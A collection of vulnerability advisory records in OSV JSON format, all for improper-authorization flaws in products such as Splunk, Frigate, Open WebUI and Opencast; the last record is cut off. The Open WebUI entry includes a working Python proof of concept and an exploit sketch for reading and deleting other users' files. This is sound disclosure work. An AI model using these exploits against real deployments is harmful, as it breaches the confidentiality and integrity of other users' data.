CWE-285

{
  "affected": [],
  "aliases": [
    "CVE-2023-32717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-01T17:15:10Z",
    "severity": "MODERATE"
  },
  "details": "On Splunk Enterprise versions below 9.0.5, 8.2.11, and 8.1.14, and in Splunk Cloud Platform versions below 9.0.2303.100, an unauthorized user can access the {{/services/indexing/preview}} REST endpoint to overwrite search results if they know the search ID (SID) of an existing search job.",
  "id": "GHSA-vfcp-ccwj-q6wq",
  "modified": "2024-04-04T04:27:58Z",
  "published": "2023-06-01T18:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32717"
    },
    {
      "type": "WEB",
      "url": "https://advisory.splunk.com/advisories/SVD-2023-0612"
    },
    {
      "type": "WEB",
      "url": "https://research.splunk.com/application/bbe26f95-1655-471d-8abd-3d32fafa86f8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 0.16.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "frigate"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T14:25:15Z",
    "nvd_published_at": "2026-03-20T10:16:19Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nUsers with the viewer role can delete admin and other users account. It this leads to denial of service and affects data integrity.\n\n### Details\nEndpoint `DELETE /api/users/admin` is enable to anonymous user.\n\n\u003cimg width=\"436\" height=\"100\" alt=\"obraz\" src=\"https://github.com/user-attachments/assets/817f9c47-7bd9-4247-a2f1-0f40778ab229\" /\u003e\n\n### PoC\nI deleted admin user on `demo.frigate.video`:\n\n\u003cimg width=\"1091\" height=\"222\" alt=\"obraz\" src=\"https://github.com/user-attachments/assets/34f50a13-3bb7-4aa8-99fa-bd815b3dc915\" /\u003e\n\n\n### Impact\nIt this leads to denial of service and affects data integrity.\n\n### Recommended Fixes\nRestrict access to the endpoint to authenticated admin users only:\nAdd `dependencies=[Depends(require_role([\"admin\"]))])` to this endpoint.",
  "id": "GHSA-vg28-83rp-8xx4",
  "modified": "2026-03-20T21:27:20Z",
  "published": "2026-03-18T14:25:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/blakeblackshear/frigate/security/advisories/GHSA-vg28-83rp-8xx4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33125"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/blakeblackshear/frigate"
    },
    {
      "type": "WEB",
      "url": "https://github.com/blakeblackshear/frigate/releases/tag/v0.16.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Frigte has broken access control viewer user can delete admin and other users account"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-36633"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-14T18:15:49Z",
    "severity": "MODERATE"
  },
  "details": "An improper authorization vulnerability [CWE-285] in FortiMail webmail version 7.2.0 through 7.2.2 and before 7.0.5 allows an authenticated attacker to see and modify the title of address book folders of other users via crafted HTTP or HTTPs requests.",
  "id": "GHSA-vgmj-g5qh-wr55",
  "modified": "2023-11-14T18:30:29Z",
  "published": "2023-11-14T18:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36633"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/psirt/FG-IR-23-203"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-6731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-02T17:15:08Z",
    "severity": "MODERATE"
  },
  "details": "The WP Show Posts plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on multiple AJAX functions in all versions up to, and including, 1.1.5. This makes it possible for authenticated attackers, with subscriber access and above, to view arbitrary post metadata, list posts, and view terms and taxonomies.",
  "id": "GHSA-vgr9-g4rq-xm99",
  "modified": "2024-05-02T18:30:51Z",
  "published": "2024-05-02T18:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6731"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3071911%40wp-show-posts%2Ftrunk\u0026old=3041416%40wp-show-posts%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e6bb3680-0623-4633-971e-3bc4a52dfad3?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-5283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-01T05:16:01Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in ANGLE in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-vgx9-54r8-82cr",
  "modified": "2026-04-01T15:31:14Z",
  "published": "2026-04-01T06:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5283"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/492131521"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openfga/openfga"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-39341"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-25T20:21:45Z",
    "nvd_published_at": "2022-10-25T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Overview\nDuring our internal security assessment, it was discovered that OpenFGA versions `v0.2.3` and prior are vulnerable to authorization bypass under certain conditions.\n\n### Am I affected?\nYou are affected by this vulnerability if you are using `openfga/openfga` version `v0.2.3` and you added a tuple with a wildcard (*) assigned to a tupleset relation (the right hand side of a \u2018from\u2019 statement).\n\n### How to fix that?\nUpgrade to version `v0.2.4`.\n\n### Backward Compatibility\nThis update is not backward compatible with any authorization model that uses wildcard on a tupleset relation.\n\n",
  "id": "GHSA-vj4m-83m8-xpw5",
  "modified": "2023-06-27T21:55:53Z",
  "published": "2022-10-25T20:21:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openfga/openfga/security/advisories/GHSA-vj4m-83m8-xpw5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39341"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openfga/openfga/commit/b466769cc100b2065047786578718d313f52695b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openfga/openfga"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openfga/openfga/releases/tag/v0.2.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenFGA Authorization Bypass via tupleset wildcard"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-285",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:15:33Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOpen WebUI lets a user who can create, update, or import workspace models store arbitrary `meta.knowledge` entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats `meta.knowledge` entries of type `file` as an authorization source in two places: the built-in `view_file` tool reads the file\u0027s extracted text, and `has_access_to_file()`\u0027s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user\u0027s file ID to their model metadata and read or delete that private file.\n\n## Impact\n\nSecurity boundary crossed: file confidentiality and integrity.\n\nAn authenticated attacker needs the `workspace.models` or `workspace.models_import` permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can:\n\n- read the file\u0027s extracted text (up to `100000` characters per `view_file` call from `file.data.content`),\n- read the file\u0027s content via `GET /api/v1/files/{id}/content`, and\n- delete the file via `DELETE /api/v1/files/{id}`.\n\n## Root Cause\n\n`ModelMeta` allows extra metadata fields and `ModelForm` accepts that metadata without a validator for `meta.knowledge` file access:\n\n```python\n# backend/open_webui/models/models.py\nclass ModelForm(BaseModel):\n    model_config = ConfigDict(extra=\u0027ignore\u0027)\n\n    id: str\n    base_model_id: Optional[str] = None\n    name: str\n    meta: ModelMeta\n    params: ModelParams\n```\n\nModel creation only checks the caller\u0027s model-workspace permission and then stores the form data:\n\n```python\n# backend/open_webui/routers/models.py\nif user.role != \u0027admin\u0027 and not await has_permission(\n    user.id, \u0027workspace.models\u0027, request.app.state.config.USER_PERMISSIONS, db=db\n):\n    raise HTTPException(...)\n\nmodel = await Models.insert_new_model(form_data, user.id, db=db)\n```\n\nThe insert sink persists the supplied `meta`:\n\n```python\n# backend/open_webui/models/models.py\nresult = Model(\n    **{\n        **form_data.model_dump(exclude={\u0027access_grants\u0027}),\n        \u0027user_id\u0027: user_id,\n        ...\n    }\n)\n```\n\nWhen built-in tools are assembled, `meta.knowledge` is passed through as `__model_knowledge__`, and any `file` entry enables `view_file`:\n\n```python\n# backend/open_webui/utils/tools.py\nmodel_knowledge = model.get(\u0027info\u0027, {}).get(\u0027meta\u0027, {}).get(\u0027knowledge\u0027, [])\n...\nknowledge_types = {item.get(\u0027type\u0027) for item in model_knowledge}\nif \u0027file\u0027 in knowledge_types or \u0027collection\u0027 in knowledge_types:\n    builtin_functions.append(view_file)\n```\n\n`view_file` treats matching `__model_knowledge__` file IDs as authorization, before `has_access_to_file()`:\n\n```python\n# backend/open_webui/tools/builtin.py\nif (\n    file.user_id != user_id\n    and user_role != \u0027admin\u0027\n    and not any(\n        item.get(\u0027type\u0027) == \u0027file\u0027 and item.get(\u0027id\u0027) == file_id for item in (__model_knowledge__ or [])\n    )\n    and not await has_access_to_file(...)\n):\n    return json.dumps({\u0027error\u0027: \u0027File not found\u0027})\n```\n\nThe same forged `meta.knowledge` is also trusted outside the tool path. `has_access_to_file()` iterates the caller\u0027s accessible models and returns true when a model\u0027s `meta.knowledge` contains the requested file ID:\n\n```python\n# backend/open_webui/utils/access_control/files.py\nfor model in await Models.get_models_by_user_id(user.id, permission=access_type, db=db):\n    knowledge_items = getattr(model.meta, \u0027knowledge\u0027, None) or []\n    for item in knowledge_items:\n        if isinstance(item, dict) and item.get(\u0027type\u0027) == \u0027file\u0027 and item.get(\u0027id\u0027) == file.id:\n            return True\n```\n\nThis branch is not restricted to read, so it also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs. The same missing validation applies to the import path (`POST /api/v1/models/import`) and the update path, not only create.\n\n## PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVerifier for forged model meta.knowledge file entries reaching builtin tools.\n\nThe proof executes:\n  - the real Models.insert_new_model() sink with a forged meta.knowledge entry\n  - the real builtin view_file() authorization branch\n\nFake DB/model adapters are used only to avoid requiring a live Open WebUI\nserver. The security-sensitive code under test is Open WebUI application code.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport ast\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\nREPO = Path(__file__).resolve().parents[1]\nBUILTIN_TOOLS = REPO / \"backend/open_webui/tools/builtin.py\"\n\n\ndef prepare_imports() -\u003e None:\n    sys.path.insert(0, str(REPO / \"backend\"))\n    os.environ[\"VECTOR_DB\"] = \"none\"\n\n    class DummyTyper:\n        def command(self, *args, **kwargs):\n            return lambda fn: fn\n\n    sys.modules.setdefault(\n        \"typer\",\n        types.SimpleNamespace(\n            Typer=lambda *args, **kwargs: DummyTyper(),\n            Option=lambda *args, **kwargs: None,\n            echo=lambda *args, **kwargs: None,\n            Exit=Exception,\n        ),\n    )\n    sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeDb:\n    def __init__(self):\n        self.added = []\n        self.committed = False\n        self.refreshed = False\n\n    def add(self, row):\n        self.added.append(row)\n\n    async def commit(self):\n        self.committed = True\n\n    async def refresh(self, row):\n        self.refreshed = True\n\n\nclass FakeDbContext:\n    def __init__(self, db):\n        self.db = db\n\n    async def __aenter__(self):\n        return self.db\n\n    async def __aexit__(self, exc_type, exc, tb):\n        return False\n\n\nasync def verify_model_insert_accepts_victim_file(victim_file_id: str):\n    import open_webui.models.models as models_module\n\n    fake_db = FakeDb()\n    original_context = models_module.get_async_db_context\n    original_set_grants = models_module.AccessGrants.set_access_grants\n    original_to_model = models_module.Models._to_model_model\n\n    async def fake_set_access_grants(*args, **kwargs):\n        return True\n\n    async def fake_to_model(self, model, access_grants=None, db=None):\n        return SimpleNamespace(\n            id=model.id,\n            user_id=model.user_id,\n            base_model_id=model.base_model_id,\n            name=model.name,\n            params=model.params,\n            meta=model.meta,\n            access_grants=[],\n            is_active=model.is_active,\n            created_at=model.created_at,\n            updated_at=model.updated_at,\n        )\n\n    try:\n        models_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n        models_module.AccessGrants.set_access_grants = fake_set_access_grants\n        models_module.Models._to_model_model = types.MethodType(fake_to_model, models_module.Models)\n\n        inserted = await models_module.Models.insert_new_model(\n            models_module.ModelForm(\n                id=\"attacker-model\",\n                base_model_id=\"gpt-vision-base\",\n                name=\"Attacker Model\",\n                params={},\n                meta={\n                    \"knowledge\": [\n                        {\n                            \"id\": victim_file_id,\n                            \"type\": \"file\",\n                            \"name\": \"victim-private.txt\",\n                        }\n                    ],\n                    \"builtinTools\": {\"knowledge\": True},\n                },\n            ),\n            user_id=\"attacker\",\n        )\n    finally:\n        models_module.get_async_db_context = original_context\n        models_module.AccessGrants.set_access_grants = original_set_grants\n        models_module.Models._to_model_model = original_to_model\n\n    stored_meta = [getattr(row, \"meta\", None) for row in fake_db.added]\n    stored_knowledge_ids = [\n        item.get(\"id\")\n        for meta in stored_meta\n        for item in ((meta or {}).get(\"knowledge\") or [])\n    ]\n\n    return {\n        \"insert_returned_model\": bool(inserted),\n        \"db_commit_called\": fake_db.committed,\n        \"stored_user_ids\": [getattr(row, \"user_id\", None) for row in fake_db.added],\n        \"stored_model_ids\": [getattr(row, \"id\", None) for row in fake_db.added],\n        \"stored_knowledge_file_ids\": stored_knowledge_ids,\n    }\n\n\nasync def verify_view_file_trusts_model_knowledge(victim_file_id: str):\n    class FakeFiles:\n        looked_up_ids = []\n\n        async def get_file_by_id(self, file_id, db=None):\n            self.looked_up_ids.append(file_id)\n            if file_id == victim_file_id:\n                return SimpleNamespace(\n                    id=victim_file_id,\n                    user_id=\"victim\",\n                    filename=\"victim-private.txt\",\n                    data={\"content\": \"PRIVATE_MODEL_KNOWLEDGE_SECRET\"},\n                    created_at=1,\n                    updated_at=2,\n                )\n            return None\n\n    async def fake_has_access_to_file(file_id, access_type, user, db=None):\n        return False\n\n    class FakeUserModel:\n        def __init__(self, **kwargs):\n            self.__dict__.update(kwargs)\n\n    fake_files = FakeFiles()\n    fake_files_module = types.SimpleNamespace(Files=fake_files)\n    fake_file_acl_module = types.SimpleNamespace(has_access_to_file=fake_has_access_to_file)\n\n    original_files_module = sys.modules.get(\"open_webui.models.files\")\n    original_acl_module = sys.modules.get(\"open_webui.utils.access_control.files\")\n\n    try:\n        sys.modules[\"open_webui.models.files\"] = fake_files_module\n        sys.modules[\"open_webui.utils.access_control.files\"] = fake_file_acl_module\n\n        source = BUILTIN_TOOLS.read_text(encoding=\"utf-8\")\n        tree = ast.parse(source, filename=str(BUILTIN_TOOLS))\n        selected = [\n            node\n            for node in tree.body\n            if isinstance(node, ast.AsyncFunctionDef) and node.name == \"view_file\"\n        ]\n        if len(selected) != 1:\n            raise RuntimeError(\"could not find view_file\")\n        module = ast.Module(body=selected, type_ignores=[])\n        ast.fix_missing_locations(module)\n        ns = {\n            \"json\": json,\n            \"Optional\": __import__(\"typing\").Optional,\n            \"Request\": object,\n            \"UserModel\": FakeUserModel,\n            \"log\": SimpleNamespace(exception=lambda *args, **kwargs: None),\n            \"MAX_VIEW_FILE_CHARS\": 100_000,\n            \"DEFAULT_VIEW_FILE_MAX_CHARS\": 10_000,\n        }\n        exec(compile(module, str(BUILTIN_TOOLS), \"exec\"), ns)\n        view_file = ns[\"view_file\"]\n\n        denied_without_model_knowledge = await view_file(\n            victim_file_id,\n            __request__=SimpleNamespace(),\n            __user__={\"id\": \"attacker\", \"role\": \"user\", \"name\": \"attacker\", \"email\": \"a@example.test\"},\n            __model_knowledge__=[],\n        )\n        allowed_with_model_knowledge = await view_file(\n            victim_file_id,\n            __request__=SimpleNamespace(),\n            __user__={\"id\": \"attacker\", \"role\": \"user\", \"name\": \"attacker\", \"email\": \"a@example.test\"},\n            __model_knowledge__=[{\"id\": victim_file_id, \"type\": \"file\"}],\n        )\n    finally:\n        if original_files_module is not None:\n            sys.modules[\"open_webui.models.files\"] = original_files_module\n        else:\n            sys.modules.pop(\"open_webui.models.files\", None)\n        if original_acl_module is not None:\n            sys.modules[\"open_webui.utils.access_control.files\"] = original_acl_module\n        else:\n            sys.modules.pop(\"open_webui.utils.access_control.files\", None)\n\n    denied = json.loads(denied_without_model_knowledge)\n    allowed = json.loads(allowed_with_model_knowledge)\n    return {\n        \"file_ids_looked_up\": fake_files.looked_up_ids,\n        \"without_model_knowledge\": denied,\n        \"with_forged_model_knowledge\": allowed,\n        \"private_content_disclosed\": allowed.get(\"content\") == \"PRIVATE_MODEL_KNOWLEDGE_SECRET\",\n    }\n\n\nasync def main() -\u003e None:\n    prepare_imports()\n    victim_file_id = \"victim-private-file\"\n\n    insert_sink = await verify_model_insert_accepts_victim_file(victim_file_id)\n    tool_read = await verify_view_file_trusts_model_knowledge(victim_file_id)\n\n    result = {\n        \"confirmed\": (\n            insert_sink[\"insert_returned_model\"] is True\n            and insert_sink[\"stored_user_ids\"] == [\"attacker\"]\n            and insert_sink[\"stored_knowledge_file_ids\"] == [victim_file_id]\n            and tool_read[\"without_model_knowledge\"].get(\"error\") == \"File not found\"\n            and tool_read[\"private_content_disclosed\"] is True\n        ),\n        \"attacker_user_id\": \"attacker\",\n        \"victim_user_id\": \"victim\",\n        \"victim_file_id\": victim_file_id,\n        \"attacker_owns_file\": False,\n        \"model_insert_sink\": insert_sink,\n        \"tool_read\": tool_read,\n        \"source\": {\n            \"insert_sink\": \"backend/open_webui/models/models.py:Models.insert_new_model\",\n            \"tool_injection\": \"backend/open_webui/utils/tools.py:get_builtin_tools passes model meta.knowledge as __model_knowledge__\",\n            \"read_sink\": \"backend/open_webui/tools/builtin.py:view_file\",\n        },\n    }\n    print(json.dumps(result, indent=2, sort_keys=True))\n    if not result[\"confirmed\"]:\n        raise SystemExit(1)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nThe PoC executes the real `Models.insert_new_model()` sink and the real `view_file()` authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in `meta.knowledge`, then confirms `view_file()` denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.\n\nResult:\n\n```json\n{\n  \"attacker_owns_file\": false,\n  \"attacker_user_id\": \"attacker\",\n  \"confirmed\": true,\n  \"model_insert_sink\": {\n    \"db_commit_called\": true,\n    \"insert_returned_model\": true,\n    \"stored_knowledge_file_ids\": [\n      \"victim-private-file\"\n    ],\n    \"stored_model_ids\": [\n      \"attacker-model\"\n    ],\n    \"stored_user_ids\": [\n      \"attacker\"\n    ]\n  },\n  \"tool_read\": {\n    \"private_content_disclosed\": true,\n    \"with_forged_model_knowledge\": {\n      \"content\": \"PRIVATE_MODEL_KNOWLEDGE_SECRET\",\n      \"filename\": \"victim-private.txt\",\n      \"id\": \"victim-private-file\"\n    },\n    \"without_model_knowledge\": {\n      \"error\": \"File not found\"\n    }\n  },\n  \"victim_file_id\": \"victim-private-file\",\n  \"victim_user_id\": \"victim\"\n}\n```\n\n## Exploit Sketch\n\n1. Attacker has permission to create or update workspace models.\n2. Attacker creates a model with:\n\n```json\n{\n  \"meta\": {\n    \"knowledge\": [\n      {\n        \"id\": \"VICTIM_FILE_ID\",\n        \"type\": \"file\",\n        \"name\": \"victim-private.txt\"\n      }\n    ],\n    \"builtinTools\": {\n      \"knowledge\": true\n    }\n  }\n}\n```\n\n3. Attacker chats with that model using native/built-in tools and invokes `view_file` for `VICTIM_FILE_ID`.\n4. The tool returns the victim file\u0027s extracted text content despite the attacker not owning or otherwise having access to the file.\n\n## Recommended Fix\n\nValidate `meta.knowledge` on every model write path: create, update, and import. For entries with `type == \"file\"`, require direct ownership, admin role, or `has_access_to_file(file_id, \u0027read\u0027, user, db=db)` before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as `403`, not `500`.\n\nDo not let `view_file()` treat `__model_knowledge__` as an authorization bypass; it should still enforce ownership/admin/`has_access_to_file()` per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.\n\n## Consolidation\n\nPer our Report Handling policy this consolidates independent reports of the same model `meta.knowledge` file-ID laundering flaw:\n\n- Read via forged `meta.knowledge` on model create, through the built-in `view_file` tool: @0xEr3n (earliest filing).\n- Distinct paths demonstrated by @5yu4n: the import endpoint (`POST /api/v1/models/import`), and cross-user read and deletion through the file API (`GET` / `DELETE /api/v1/files/{id}`) via `has_access_to_file()`\u0027s model branch.\n\nFix validates `meta.knowledge` ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.",
  "id": "GHSA-vjqm-6gcc-62cr",
  "modified": "2026-06-17T14:15:33Z",
  "published": "2026-06-17T14:15:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vjqm-6gcc-62cr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Forged model meta.knowledge allows cross-user file read and deletion"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-12190"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-14T23:16:35Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been found in Genspark AI Workspace App 2.8.4 on Android. This vulnerability affects unknown code of the component ai.mainfunc.genspark. The manipulation leads to improper authorization in handler for custom url scheme. The attack can only be performed from a local environment. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-vm9m-6j35-r47j",
  "modified": "2026-06-15T00:31:50Z",
  "published": "2026-06-15T00:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12190"
    },
    {
      "type": "WEB",
      "url": "https://github.com/actuator/ai.mainfunc.genspark"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-12190"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/825558"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/370836"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/370836/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.opencastproject:opencast-kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.opencastproject:opencast-kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0"
            },
            {
              "fixed": "8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-5206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-01-30T21:13:52Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nUsing a remember-me cookie with an arbitrary username can cause Opencast to assume proper authentication for that user even if the remember-me cookie was incorrect given that the attacked endpoint also allows anonymous access.\n\nThis way, an attacker can, for example, fake a remember-me token, assume the identity of the global system administrator and request non-public content from the search service without ever providing any proper authentication.\n\n\n### Patches\n\nThis problem is fixed in Opencast 7.6 and Opencast 8.1\n\n\n### Workarounds\n\nAs a workaround for older, unpatched versions, disabling remember-me cookies in `etc/security/mh_default_org.xml` will mitigate the problem but will obviously also disable this feature without obvious indication. To deactivate this, remove the following line from the security configuration:\n\n```xml\n\u003csec:remember-me \u2026 /\u003e\n```\n\n### References\n\n- [Remember-me cookie in the security configuration file](https://github.com/opencast/opencast/blob/161ee619382f144dc35eea211fc6b556025b98e1/etc/security/mh_default_org.xml#L335-L336)\n\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)\n- For security-relevant information, email us at security@opencast.org",
  "id": "GHSA-vmm6-w4cf-7f3x",
  "modified": "2021-10-20T18:03:07Z",
  "published": "2020-01-30T21:21:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/security/advisories/GHSA-vmm6-w4cf-7f3x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/commit/b157e1fb3b35991ca7bf59f0730329fbe7ce82e8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authentication Bypass For Endpoints With Anonymous Access in Opencast"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "WWBN/AVideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45620"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-204",
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T13:30:05Z",
    "nvd_published_at": "2026-05-29T14:16:31Z",
    "severity": "MODERATE"
  },
